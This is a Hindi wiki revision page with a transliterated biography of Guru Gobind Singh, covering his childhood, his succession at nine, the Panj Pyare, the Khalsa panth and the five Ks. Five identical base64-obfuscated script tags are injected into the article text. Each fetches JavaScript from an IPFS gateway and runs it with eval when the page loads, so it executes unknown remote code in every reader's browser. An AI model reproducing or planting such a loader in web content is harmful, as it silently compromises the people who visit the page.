Difference between revisions of "गुरु गोबिन्द सिंह"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replacement - "विद्वान " to "विद्वान् ")
Line 13: Line 13:
 
|कर्म भूमि=[[भारत]]
 
|कर्म भूमि=[[भारत]]
 
|कर्म-क्षेत्र=
 
|कर्म-क्षेत्र=
|मुख्य रचनाएँ=चण्डी चरित्र, दशमग्रन्थ, कृष्णावतार आदि
+
|मुख्य रचनाएँ=चण्डी चरित्र, दशमग्रन्थ, कृष्णावतार आदि।
 
|विषय=
 
|विषय=
 
|खोज=
 
|खोज=
Line 44: Line 44:
 
<blockquote>"मुझे परमेश्वर ने दुष्टों का नाश करने और धर्म की स्थापना करने के लिए भेजा है।"</blockquote>
 
<blockquote>"मुझे परमेश्वर ने दुष्टों का नाश करने और धर्म की स्थापना करने के लिए भेजा है।"</blockquote>
 
====बचपन====
 
====बचपन====
गुरु गोबिन्द सिंह के जन्म के समय देश पर [[मुग़ल|मुग़लों]] का शासन था। [[हिन्दू|हिन्दुओं]] को मुसलमान बनाने की [[औरंगज़ेब]] ज़बरदस्ती कोशिश करता था। इसी समय [[22 दिसंबर]], सन् 1666 को गुरु तेग़बहादुर की धर्मपत्नी माता गुजरी ने एक सुंदर बालक को जन्म दिया, जो गुरु गोबिन्द सिंह के नाम से विख्यात हुआ। पूरे नगर में बालक के जन्म पर उत्सव मनाया गया। खिलौनों से खेलने की उम्र में गोबिन्द जी कृपाण, कटार और धनुष-बाण से खेलना पसंद करते थे। गोबिन्द बचपन में शरारती थे लेकिन वे अपनी शरारतों से किसी को परेशान नहीं करते थे। गोबिन्द एक निसंतान बुढ़िया, जो सूत काटकर अपना गुज़ारा करती थी, से बहुत शरारत करते थे। वे उसकी पूनियाँ बिखेर देते थे। इससे दुखी होकर वह उनकी माँ के पास शिकायत लेकर पहुँच जाती थी। माता गुजरी पैसे देकर उसे खुश कर देती थी। माता गूजरी ने गोबिन्द से बुढ़िया को तंग करने का कारण पूछा तो उन्होंने सहज भाव से कहा,
+
गुरु गोबिन्द सिंह के जन्म के समय देश पर [[मुग़ल|मुग़लों]] का शासन था। [[हिन्दू|हिन्दुओं]] को [[मुसलमान]] बनाने की [[औरंगज़ेब]] ज़बरदस्ती कोशिश करता था। इसी समय [[22 दिसंबर]], सन् 1666 को गुरु तेग़बहादुर की धर्मपत्नी माता गुजरी ने एक सुंदर बालक को जन्म दिया, जो गुरु गोबिन्द सिंह के नाम से विख्यात हुआ। पूरे नगर में बालक के जन्म पर उत्सव मनाया गया। खिलौनों से खेलने की उम्र में गोबिन्द जी कृपाण, कटार और धनुष-बाण से खेलना पसंद करते थे। गोबिन्द बचपन में शरारती थे लेकिन वे अपनी शरारतों से किसी को परेशान नहीं करते थे। गोबिन्द एक निसंतान बुढ़िया, जो सूत काटकर अपना गुज़ारा करती थी, से बहुत शरारत करते थे। वे उसकी पूनियाँ बिखेर देते थे। इससे दुखी होकर वह उनकी माँ के पास शिकायत लेकर पहुँच जाती थी। माता गुजरी पैसे देकर उसे खुश कर देती थी। माता गूजरी ने गोबिन्द से बुढ़िया को तंग करने का कारण पूछा तो उन्होंने सहज भाव से कहा,
 
<blockquote>"उसकी ग़रीबी दूर करने के लिए। अगर मैं उसे परेशान नहीं करूँगा तो उसे पैसे कैसे मिलेंगे।"</blockquote>
 
<blockquote>"उसकी ग़रीबी दूर करने के लिए। अगर मैं उसे परेशान नहीं करूँगा तो उसे पैसे कैसे मिलेंगे।"</blockquote>
 
====9 वर्ष की आयु में गद्दी====
 
====9 वर्ष की आयु में गद्दी====
तेग़बहादुर की शहादत के बाद गद्दी पर 9 वर्ष की आयु में 'गुरु गोबिन्द राय' को बैठाया गया था। 'गुरु' की गरिमा बनाये रखने के लिए उन्होंने अपना ज्ञान बढ़ाया और [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[पंजाबी भाषा|पंजाबी]] और [[अरबी भाषा|अरबी भाषाएँ]] सीखीं। गोबिन्द राय ने धनुष- बाण, तलवार, भाला आदि चलाने की कला भी सीखी। उन्होंने अन्य सिक्खों को भी [[अस्त्र शस्त्र]] चलाना सिखाया। सिक्खों को अपने धर्म, जन्मभूमि और स्वयं अपनी रक्षा करने के लिए संकल्पबद्ध किया और उन्हें मानवता का पाठ पढ़ाया। उनका नारा था- '''सत श्री अकाल'''<ref>सत्य ही ईश्वर है।</ref>
+
[[गुरु तेग़बहादुर सिंह|तेग़बहादुर]] की शहादत के बाद गद्दी पर 9 वर्ष की आयु में 'गुरु गोबिन्द राय' को बैठाया गया था। 'गुरु' की गरिमा बनाये रखने के लिए उन्होंने अपना ज्ञान बढ़ाया और [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[पंजाबी भाषा|पंजाबी]] और [[अरबी भाषा|अरबी भाषाएँ]] सीखीं। गोबिन्द राय ने धनुष- बाण, तलवार, भाला आदि चलाने की कला भी सीखी। उन्होंने अन्य [[सिक्ख|सिक्खों]] को भी [[अस्त्र शस्त्र]] चलाना सिखाया। सिक्खों को अपने धर्म, जन्मभूमि और स्वयं अपनी रक्षा करने के लिए संकल्पबद्ध किया और उन्हें मानवता का पाठ पढ़ाया। उनका नारा था- '''सत श्री अकाल'''<ref>सत्य ही ईश्वर है।</ref>
 
[[चित्र:Guru-Gobind-Singh-ji.jpg|गुरु गोबिन्द सिंह जी|thumb|250px]]
 
[[चित्र:Guru-Gobind-Singh-ji.jpg|गुरु गोबिन्द सिंह जी|thumb|250px]]
 
====पंच प्यारे====
 
====पंच प्यारे====
Line 59: Line 59:
 
उनकी सैन्य टुकड़ियाँ सिक्ख आदर्शो के प्रति पूरी तरह समर्पित थीं और सिक्खों की धार्मिक तथा राजनीतिक स्वतंत्रता के लिए सब कुछ दांव पर लगाने को तैयार थीं। लेकिन गुरु गोबिन्द सिंह को इस स्वतंत्रता की भारी कीमत चुकानी पड़ी थी। [[अंबाला]] के पास एक युद्ध में उनके चारों बेटे मारे गए।<ref>पुस्तक- भारत ज्ञानकोश खंड-2  | पृष्ठ संख्या-115</ref>
 
उनकी सैन्य टुकड़ियाँ सिक्ख आदर्शो के प्रति पूरी तरह समर्पित थीं और सिक्खों की धार्मिक तथा राजनीतिक स्वतंत्रता के लिए सब कुछ दांव पर लगाने को तैयार थीं। लेकिन गुरु गोबिन्द सिंह को इस स्वतंत्रता की भारी कीमत चुकानी पड़ी थी। [[अंबाला]] के पास एक युद्ध में उनके चारों बेटे मारे गए।<ref>पुस्तक- भारत ज्ञानकोश खंड-2  | पृष्ठ संख्या-115</ref>
 
==वीरता और बलिदान==
 
==वीरता और बलिदान==
गुरु गोबिन्द सिंह ने [[धर्म]], [[संस्कृति]] व राष्ट्र की आन-बान और शान के लिए अपना सब कुछ न्यौछावर कर दिया था। गुरु गोबिन्द सिंह जैसी वीरता और बलिदान इतिहास में कम ही देखने को मिलता है। इसके बावज़ूद इस महान् शख़्सियत को इतिहासकारों ने वह स्थान नहीं दिया जिसके वे हक़दार हैं। कुछ इतिहासकारों का मत है कि गुरु गोबिन्द सिंह ने अपने पिता का बदला लेने के लिए तलवार उठाई थी। क्या संभव है कि वह बालक स्वयं लड़ने के लिए प्रेरित होगा जिसने अपने पिता को आत्मबलिदान के लिए प्रेरित किया हो। गुरु गोबिन्द सिंह जी को किसी से बैर नहीं था, उनके सामने तो पहाड़ी राजाओं की ईर्ष्या पहाड़ जैसी ऊँची थी, तो दूसरी ओर [[औरंगज़ेब]] की धार्मिक कट्टरता की आँधी लोगों के अस्तित्व को लील रही थी। ऐसे समय में गुरु गोबिन्द सिंह ने समाज को एक नया दर्शन दिया। उन्होंने आध्यात्मिक स्वतंत्रता की प्राप्ति के लिए तलवार धारण की।{{दाँयाबक्सा|पाठ=वो पाँच प्यारे जो देश के विभिन्न भागों से आए थे और समाज के अलग- अलग जाति और सम्प्रदाय के लोग थे, उन्हें एक ही कटोरे में अमृत पिला कर गुरु गोबिन्द सिंह ने एक बना दिया। इस प्रकार समाज में उन्होंने एक ऐसी क्रान्ति का बीज रोपा, जिसमें जाति का भेद और सम्प्रदायवाद, सब कुछ मिटा दिया।|विचारक=}}
+
गुरु गोबिन्द सिंह ने [[धर्म]], [[संस्कृति]] व राष्ट्र की आन-बान और शान के लिए अपना सब कुछ न्यौछावर कर दिया था। गुरु गोबिन्द सिंह जैसी वीरता और बलिदान [[इतिहास]] में कम ही देखने को मिलता है। इसके बावज़ूद इस महान् शख़्सियत को इतिहासकारों ने वह स्थान नहीं दिया जिसके वे हक़दार हैं। कुछ इतिहासकारों का मत है कि गुरु गोबिन्द सिंह ने अपने पिता का बदला लेने के लिए तलवार उठाई थी। क्या संभव है कि वह बालक स्वयं लड़ने के लिए प्रेरित होगा जिसने अपने पिता को आत्मबलिदान के लिए प्रेरित किया हो। गुरु गोबिन्द सिंह जी को किसी से बैर नहीं था, उनके सामने तो पहाड़ी राजाओं की ईर्ष्या पहाड़ जैसी ऊँची थी, तो दूसरी ओर [[औरंगज़ेब]] की धार्मिक कट्टरता की आँधी लोगों के अस्तित्व को लील रही थी। ऐसे समय में गुरु गोबिन्द सिंह ने समाज को एक नया दर्शन दिया। उन्होंने आध्यात्मिक स्वतंत्रता की प्राप्ति के लिए तलवार धारण की।{{दाँयाबक्सा|पाठ=वो पाँच प्यारे जो देश के विभिन्न भागों से आए थे और समाज के अलग- अलग जाति और सम्प्रदाय के लोग थे, उन्हें एक ही कटोरे में अमृत पिला कर गुरु गोबिन्द सिंह ने एक बना दिया। इस प्रकार समाज में उन्होंने एक ऐसी क्रान्ति का बीज रोपा, जिसमें जाति का भेद और सम्प्रदायवाद, सब कुछ मिटा दिया।|विचारक=}}
 
====बहादुर शाह प्रथम से भेंट====
 
====बहादुर शाह प्रथम से भेंट====
 
[[8 जून]] 1707 ई. [[आगरा]] के पास जांजू के पास लड़ाई लड़ी गई, जिसमें [[बहादुरशाह प्रथम|बहादुरशाह]] की जीत हुई। इस लड़ाई में गुरु गोबिन्द सिंह की हमदर्दी अपने पुराने मित्र बहादुरशाह के साथ थी। कहा जाता है कि गुरु जी ने अपने सैनिकों द्वारा जांजू की लड़ाई में बहादुरशाह का साथ दिया, उनकी मदद की। इससे बादशाह बहादुरशाह की जीत हुई। बादशाह ने गुरु गोबिन्द सिंह जी को आगरा बुलाया। उसने एक बड़ी क़ीमती सिरोपायो (सम्मान के वस्त्र) एक धुकधुकी (गर्दन का गहना) जिसकी क़ीमत 60 हज़ार रुपये थी, गुरुजी को भेंट की। [[मुग़ल|मुग़लों]] के साथ एक युग पुराने मतभेद समाप्त होने की सम्भावना थी। गुरु साहब की तरफ से [[2 अक्टूबर]] 1707 ई. और [[धौलपुर]] की संगत तरफ लिखे हुक्मनामा के कुछ शब्दों से लगता है कि गुरुजी की बादशाह बहादुरशाह के साथ मित्रतापूर्वक बातचीत हो सकती थी। जिसके खत्म होने से गुरु जी [[आनंदपुर साहिब]] वापस आ जांएगे, जहाँ उनको आस थी कि खालसा लौट के इकट्ठा हो सकेगा। पर हालात के चक्कर में उनको दक्षिण दिशा में पहुँचा दिया। जहाँ अभी बातचीत ही चल रही थी। बादशाह बहादुरशाह [[कछवाहा वंश|कछवाहा]] राजपूतों के विरुद्ध कार्यवाही करने कूच किया था कि उसके भाई कामबख़्श ने बग़ावत कर दी। बग़ावत दबाने के लिए बादशाह दक्षिण की तरफ़ चला और विनती करके गुरु जी को भी साथ ले गया।<ref>डॉ. गण्डा सिंह की पुस्तक 'सिख इतिहास' के पृष्ठ संख्या 91 के कुछ अंश <br />
 
[[8 जून]] 1707 ई. [[आगरा]] के पास जांजू के पास लड़ाई लड़ी गई, जिसमें [[बहादुरशाह प्रथम|बहादुरशाह]] की जीत हुई। इस लड़ाई में गुरु गोबिन्द सिंह की हमदर्दी अपने पुराने मित्र बहादुरशाह के साथ थी। कहा जाता है कि गुरु जी ने अपने सैनिकों द्वारा जांजू की लड़ाई में बहादुरशाह का साथ दिया, उनकी मदद की। इससे बादशाह बहादुरशाह की जीत हुई। बादशाह ने गुरु गोबिन्द सिंह जी को आगरा बुलाया। उसने एक बड़ी क़ीमती सिरोपायो (सम्मान के वस्त्र) एक धुकधुकी (गर्दन का गहना) जिसकी क़ीमत 60 हज़ार रुपये थी, गुरुजी को भेंट की। [[मुग़ल|मुग़लों]] के साथ एक युग पुराने मतभेद समाप्त होने की सम्भावना थी। गुरु साहब की तरफ से [[2 अक्टूबर]] 1707 ई. और [[धौलपुर]] की संगत तरफ लिखे हुक्मनामा के कुछ शब्दों से लगता है कि गुरुजी की बादशाह बहादुरशाह के साथ मित्रतापूर्वक बातचीत हो सकती थी। जिसके खत्म होने से गुरु जी [[आनंदपुर साहिब]] वापस आ जांएगे, जहाँ उनको आस थी कि खालसा लौट के इकट्ठा हो सकेगा। पर हालात के चक्कर में उनको दक्षिण दिशा में पहुँचा दिया। जहाँ अभी बातचीत ही चल रही थी। बादशाह बहादुरशाह [[कछवाहा वंश|कछवाहा]] राजपूतों के विरुद्ध कार्यवाही करने कूच किया था कि उसके भाई कामबख़्श ने बग़ावत कर दी। बग़ावत दबाने के लिए बादशाह दक्षिण की तरफ़ चला और विनती करके गुरु जी को भी साथ ले गया।<ref>डॉ. गण्डा सिंह की पुस्तक 'सिख इतिहास' के पृष्ठ संख्या 91 के कुछ अंश <br />
Line 138: Line 138:
 
भाई मणि सिंह जी गुरु साहिब के एक दीवान (मंत्री) थे। भाई मणिसिंह ने गुरु गोबिन्द सिंह की रचनाओं को एक जिल्द (दशमग्रंथ) में प्रस्तुत किया था।
 
भाई मणि सिंह जी गुरु साहिब के एक दीवान (मंत्री) थे। भाई मणिसिंह ने गुरु गोबिन्द सिंह की रचनाओं को एक जिल्द (दशमग्रंथ) में प्रस्तुत किया था।
 
==मृत्यु==
 
==मृत्यु==
गुरु गोबिन्द सिंह ने अपना अंतिम समय निकट जानकर अपने सभी सिखों को एकत्रित किया और उन्हें मर्यादित तथा शुभ आचरण करने, देश से प्रेम करने और सदा दीन-दुखियों की सहायता करने की सीख दी। इसके बाद यह भी कहा कि अब उनके बाद कोई देहधारी गुरु नहीं होगा और 'गुरुग्रन्थ साहिब' ही आगे गुरु के रूप में उनका मार्ग दर्शन करेंगे। गुरु गोबिन्दसिंह की मृत्यु [[7 अक्तूबर]] सन् 1708 ई. में  [[नांदेड़]], [[महाराष्ट्र]] में हुई थी। आज मानवता स्वार्थ, संदेह, संघर्ष, हिंसा, आतंक, अन्याय और अत्याचार की जिन चुनौतियों से जूझ रही है, उनमें गुरु गोबिन्द सिंह का जीवन-दर्शन हमारा मार्गदर्शन कर सकता है।
+
गुरु गोबिन्द सिंह ने अपना अंतिम समय निकट जानकर अपने सभी [[सिक्ख|सिखों]] को एकत्रित किया और उन्हें मर्यादित तथा शुभ आचरण करने, देश से प्रेम करने और सदा दीन-दुखियों की सहायता करने की सीख दी। इसके बाद यह भी कहा कि अब उनके बाद कोई देहधारी गुरु नहीं होगा और 'गुरुग्रन्थ साहिब' ही आगे गुरु के रूप में उनका मार्ग दर्शन करेंगे। गुरु गोबिन्दसिंह की मृत्यु [[7 अक्तूबर]] सन् 1708 ई. में  [[नांदेड़]], [[महाराष्ट्र]] में हुई थी। आज मानवता स्वार्थ, संदेह, संघर्ष, हिंसा, आतंक, अन्याय और अत्याचार की जिन चुनौतियों से जूझ रही है, उनमें गुरु गोबिन्द सिंह का जीवन-दर्शन हमारा मार्गदर्शन कर सकता है।
 
==गुरु स्तुति==
 
==गुरु स्तुति==
 
{| class="bharattable" border="1"
 
{| class="bharattable" border="1"

Revision as of 05:41, 7 October 2017

guru gobind sianh
poora nam guru gobind sianh
any nam gobind ray (mool nam)
janm 22 disanbar sanh 1666 ee.
janm bhoomi patana, bihar, bharat
mrityu 7 aktoobar sanh 1708 ee.
mrityu sthan naande d, maharashtr
abhibhavak guru tegabahadur aur mata gujari
pati/patni mata sandari, mata sahib divan
santan ajit sianh, jujhar sianh, zoravar sianh, phateh sianh
karm bhoomi bharat
mukhy rachanaean chandi charitr, dashamagranth, krishnaavatar adi.
bhasha farasi, arabi, sanskrit, panjabi
puraskar-upadhi sikkhoan ke dasavean guru
prasiddhi sikh khalasa sena ke sansthapak evan pratham senapati
nagarikata bharatiy
sanbandhit lekh khalasa panth, guru granth sahib
any janakari gaddi ko lekar sikhoan ke bich koee vivad n ho isake lie guru gobind sianh ne 'guru granth sahib' ko antim guru ka darja diya.

guru gobind sianh (janm- 22 disanbar, 1666 ee. patana, bihar; mrityu- 7 aktoobar, 1708 ee. naande d, maharashtr) sikkhoan ke dasavean v aantim guru mane jate haian. ve 11 navanbar, 1675 ko sikkhoan ke guru niyukt hue the aur 1708 ee. tak is pad par rahe. ve sikkhoan ke sainik sangati, khalasa ke srijan ke lie prasiddh the. kuchh jnani kahate haian ki jab-jab dharm ka hras hota hai, tab-tab saty evan nyay ka vighatan bhi hota hai tatha atank ke karan atyachar, anyay, hiansa aur manavata khatare mean hoti hai. us samay dushtoan ka nash evan saty, nyay aur dharm ki raksha karane ke lie eeshvar svayan is bhootal par avatarit hote haian. guru gobind sianh ji ne bhi is tathy ka pratipadan karate hue kaha hai,

"jab-jab hot arist apara. tab-tab deh dharat avatara."

jivan parichay

guru gobind sianh ji ka janm 22 disanbar sanh 1666 ee. ko patana, bihar mean hua tha. inaka mool nam 'gobind ray' tha. gobind sianh ko sainy jivan ke prati lagav apane dada guru haragobind sianh se mila tha aur unhean mahanh bauddhik sanpada bhi uttaradhikar mean mili thi. vah bahubhashavid the, jinhean farasi arabi, sanskrit aur apani matribhasha panjabi ka jnan tha. unhoanne sikkh qanoon ko sootrabaddh kiya, kavy rachana ki aur sikkh granth 'dasam granth' (dasavaan khand) likhakar prasiddhi paee. unhoanne desh, dharm aur svatantrata ki raksha ke lie sikkhoan ko sangathit kar sainik parivesh mean dhala. dasham guru gobind sianh ji svayan ek aise hi mahapurush the, jo us yug ki atankavadi shaktiyoan ka nash karane tatha dharm evan nyay ki pratishtha ke lie guru tegabahadur sianh ji ke yahaan avatarit hue. isi uddeshy ko spasht karate hue unhoanne kaha tha.

"mujhe parameshvar ne dushtoan ka nash karane aur dharm ki sthapana karane ke lie bheja hai."

bachapan

guru gobind sianh ke janm ke samay desh par mugaloan ka shasan tha. hinduoan ko musalaman banane ki aurangazeb zabaradasti koshish karata tha. isi samay 22 disanbar, sanh 1666 ko guru tegabahadur ki dharmapatni mata gujari ne ek suandar balak ko janm diya, jo guru gobind sianh ke nam se vikhyat hua. poore nagar mean balak ke janm par utsav manaya gaya. khilaunoan se khelane ki umr mean gobind ji kripan, katar aur dhanush-ban se khelana pasand karate the. gobind bachapan mean shararati the lekin ve apani shararatoan se kisi ko pareshan nahian karate the. gobind ek nisantan budhiya, jo soot katakar apana guzara karati thi, se bahut shararat karate the. ve usaki pooniyaan bikher dete the. isase dukhi hokar vah unaki maan ke pas shikayat lekar pahuanch jati thi. mata gujari paise dekar use khush kar deti thi. mata goojari ne gobind se budhiya ko tang karane ka karan poochha to unhoanne sahaj bhav se kaha,

"usaki garibi door karane ke lie. agar maian use pareshan nahian karooanga to use paise kaise mileange."

9 varsh ki ayu mean gaddi

tegabahadur ki shahadat ke bad gaddi par 9 varsh ki ayu mean 'guru gobind ray' ko baithaya gaya tha. 'guru' ki garima banaye rakhane ke lie unhoanne apana jnan badhaya aur sanskrit, farasi, panjabi aur arabi bhashaean sikhian. gobind ray ne dhanush- ban, talavar, bhala adi chalane ki kala bhi sikhi. unhoanne any sikkhoan ko bhi astr shastr chalana sikhaya. sikkhoan ko apane dharm, janmabhoomi aur svayan apani raksha karane ke lie sankalpabaddh kiya aur unhean manavata ka path padhaya. unaka nara tha- sat shri akal[1] guru gobind sianh ji|thumb|250px

panch pyare

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

paanch pyare jo desh ke vibhinn bhagoan se ae the aur samaj ke alag- alag jati aur sampraday ke log the, unhean ek hi katore mean amrit pila kar guru gobind sianh ne ek bana diya. is prakar samaj mean unhoanne ek aisi kranti ka bij ropa, jisamean jati ka bhed aur sampradayavad, sab kuchh mita diya. baisakhi ka ek mahattv yah hai ki parampara ke anusar panjab mean fasal ki kataee pahali baisakh ko hi shuroo hoti hai aur desh ke doosare hissoan mean bhi aj hi ke din fasal kataee ka tyohar manaya jata hai, jinake nam bhale hi alag-alag hoan. aj ke din yadi ham shri guru gobind sianh ke jivan ke adarshoan ko, desh, samaj aur manavata ki bhalaee ke lie unake samarpan ko apani prerana ka srot banaaian aur unake bataye ge raste par nishthapoorvak chalean to koee karan nahian ki desh ke andar athava bahar se ae atankavadi aur hamalavar hamara kuchh bhi biga d sakean.

sikkhoan mean yuddh ka utsah

guru gobind sianh ne sikkhoan mean yuddh ka utsah badhane ke lie har qadam uthaya. vir kavy aur sangit ka srijan unhoanne kiya tha. unhoanne apane logoan mean kripan jo unaki lauh kripa tha, ke prati prem vikasit kiya. khalasa ko purnasangathit sikkh sena ka margadarshak banakar, unhoanne do morchoan par sikkhoan ke shatruoan ke khilaf qadam uthaye.

  1. pahala mugaloan ke khilaf ek fauj aur
  2. doosara virodhi paha di janajatiyoan ke khilaf.

chitr:Blockquote-open.gif sava lakh se ek l daooan chi diyoan soan maian baj t dooan tabe gobiandasianh nam kahaooan chitr:Blockquote-close.gif

- guru gobind sianh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> unaki sainy tuk diyaan sikkh adarsho ke prati poori tarah samarpit thian aur sikkhoan ki dharmik tatha rajanitik svatantrata ke lie sab kuchh daanv par lagane ko taiyar thian. lekin guru gobind sianh ko is svatantrata ki bhari kimat chukani p di thi. aanbala ke pas ek yuddh mean unake charoan bete mare ge.[2]

virata aur balidan

guru gobind sianh ne dharm, sanskriti v rashtr ki an-ban aur shan ke lie apana sab kuchh nyauchhavar kar diya tha. guru gobind sianh jaisi virata aur balidan itihas mean kam hi dekhane ko milata hai. isake bavazood is mahanh shakhsiyat ko itihasakaroan ne vah sthan nahian diya jisake ve haqadar haian. kuchh itihasakaroan ka mat hai ki guru gobind sianh ne apane pita ka badala lene ke lie talavar uthaee thi. kya sanbhav hai ki vah balak svayan l dane ke lie prerit hoga jisane apane pita ko atmabalidan ke lie prerit kiya ho. guru gobind sianh ji ko kisi se bair nahian tha, unake samane to paha di rajaoan ki eershya paha d jaisi ooanchi thi, to doosari or aurangazeb ki dharmik kattarata ki aandhi logoan ke astitv ko lil rahi thi. aise samay mean guru gobind sianh ne samaj ko ek naya darshan diya. unhoanne adhyatmik svatantrata ki prapti ke lie talavar dharan ki.

chitr:Blockquote-open.gif vo paanch pyare jo desh ke vibhinn bhagoan se ae the aur samaj ke alag- alag jati aur sampraday ke log the, unhean ek hi katore mean amrit pila kar guru gobind sianh ne ek bana diya. is prakar samaj mean unhoanne ek aisi kranti ka bij ropa, jisamean jati ka bhed aur sampradayavad, sab kuchh mita diya. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahadur shah pratham se bheant

8 joon 1707 ee. agara ke pas jaanjoo ke pas l daee l di gee, jisamean bahadurashah ki jit huee. is l daee mean guru gobind sianh ki hamadardi apane purane mitr bahadurashah ke sath thi. kaha jata hai ki guru ji ne apane sainikoan dvara jaanjoo ki l daee mean bahadurashah ka sath diya, unaki madad ki. isase badashah bahadurashah ki jit huee. badashah ne guru gobind sianh ji ko agara bulaya. usane ek b di qimati siropayo (samman ke vastr) ek dhukadhuki (gardan ka gahana) jisaki qimat 60 hazar rupaye thi, guruji ko bheant ki. mugaloan ke sath ek yug purane matabhed samapt hone ki sambhavana thi. guru sahab ki taraph se 2 aktoobar 1707 ee. aur dhaulapur ki sangat taraph likhe hukmanama ke kuchh shabdoan se lagata hai ki guruji ki badashah bahadurashah ke sath mitratapoorvak batachit ho sakati thi. jisake khatm hone se guru ji anandapur sahib vapas a jaanege, jahaan unako as thi ki khalasa laut ke ikattha ho sakega. par halat ke chakkar mean unako dakshin disha mean pahuancha diya. jahaan abhi batachit hi chal rahi thi. badashah bahadurashah kachhavaha rajapootoan ke viruddh karyavahi karane kooch kiya tha ki usake bhaee kamabakhsh ne bagavat kar di. bagavat dabane ke lie badashah dakshin ki taraf chala aur vinati karake guru ji ko bhi sath le gaya.[3]

virata v balidan ki misalean

is sare ghatanakram mean bhi a dig rahakar guru gobind sianh sangharsharat rahe, yah koee samany bat nahian hai. yah unake mahanh karmayogi hone ka praman hai. unhoanne khalasa ke srijan ka marg desh ki asmita, bharatiy virasat aur jivan moolyoan ki raksha ke lie, samaj ko ne sire se taiyar karane ke lie apanaya tha. ve sabhi praniyoan ko adhyatmik star par paramatma ka hi roop manate the. 'akal ustati' mean unhoanne spasht kaha hai ki jaise ek agni se karo doan agni sphurlliang utpann hokar alag-alag khilate haian, lekin sab agni roop haian, usi prakar sab jivoan ki bhi sthiti hai. unhoanne sabhi ko manav roop mean manakar unaki ekata mean vishvas prakat karate hue kaha hai ki

"hindoo turak kooo saphaji imam shaphi. manas ki jat sabai aikai pahachanabo."

khalasa panth

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

khalasa ka arth hai khalis arthat vishuddh, nirmal aur bina kisi milavat vala vyakti. isake alava ham yah kah sakate haian ki khalasa hamari maryada aur bharatiy sanskriti ki ek pahachan hai, jo har hal mean prabhu ka smaran rakhata hai aur apane karm ko apana dharm man kar zulm aur zalim se loha bhi leta hai. gobind sianh ji ne ek naya nara diya hai- vahe guru ji ka khalasa, vahe guru ji ki phateh.[4] guru ji dvara khalasa ka pahala dharm hai ki vah desh, dharm aur manavata ki raksha ke lie tan-man-dhan sab nyauchhavar kar de. nirdhanoan, asahayoan aur anathoan ki raksha ke lie sada age rahe. jo aisa karata hai, vah khalis hai, vahi sachcha khalasa hai. ye sanskar amrit pilakar gobind sianh ji ne un logoan mean bhar die, jinhoanne khalasa panth ko svikar kiya tha. 'zafaranama' mean svayan guru gobind sianh ji ne likha hai ki jab sare sadhan nishphal ho jayean, tab talavar grahan karana nyayochit hai. guru gobind sianh ne 1699 ee. mean dharm evan samaj ki raksha hetu hi khalasa panth ki sthapana ki thi. khalasa yani khalis (shuddh), jo man, vachan evan karm se shuddh ho aur samaj ke prati samarpan ka bhav rakhata ho. sabhi jatiyoan ke varg-vibhed ko samapt karake unhoanne n sirf samanata sthapit ki balki unamean atm-samman aur pratishtha ki bhavana bhi paida ki. unaka spasht mat vyakt hai-

"manas ki jat sabhaiek hai."

khalasa panth ki sthapana (1699) desh ke chaumukhi utthan ki vyapak kalpana thi. ek baba dvara guru haragobind ko 'miri' aur 'piri' do talavarean pahanaee gee thian.

  1. ek adhyatmikata ki pratik thi.
  2. doosari saansarikata ki.

guru gobind sianh ne atmavishvas evan atmanirbharata ka sandesh diya tha. khalasa panth mean ve sikh the, jinhoanne kisi yuddh kala ka koee vishesh prashikshan nahian liya tha. sikhoan mean samaj evan dharm ke lie svayan ko balidan karane ka jazba tha.

ek se katane sava lakh shatruoan ke sir
guru gobind ne banaya panth khalasa
pita aur putr sab desh pe shahid hue
nahian rahi sukh sadhanoan ki kabhi lalasa
zoravar phatesianh divaroan mean chune ge
jag dekhata raha tha kroorata ka hadasa
chi diyoan ko baj se l da diya tha guruji ne
mugaloan ke sar pe jo chha gaya tha kal sa

guru gobind sianh ka ek aur udaharan unake vyaktitv ko anootha sabit karata hai- panch piyara banakar unhean guru ka darja dekar svayan unake shishy ban jate haian aur kahate haian- khalasa mero roop hai khas, khalasa mean ho karo nivas.[5]

paanch kakar

yuddh ki pratyek sthiti mean sada taiyar rahane ke lie unhoanne sikhoan ke lie paanch kakar anivary ghoshit kie, jinhean aj bhi pratyek sikh dharan karana apana gaurav samajhata hai:-

  1. kesh : jise sabhi guru aur rrishi-muni dharan karate ae the.
  2. kangha : keshoan ko saf karane ke lie.
  3. kachchha : sphoorti ke lie.
  4. k da : niyam aur sanyam mean rahane ki chetavani dene ke lie.
  5. kripan : atmaraksha ke lie.[6]

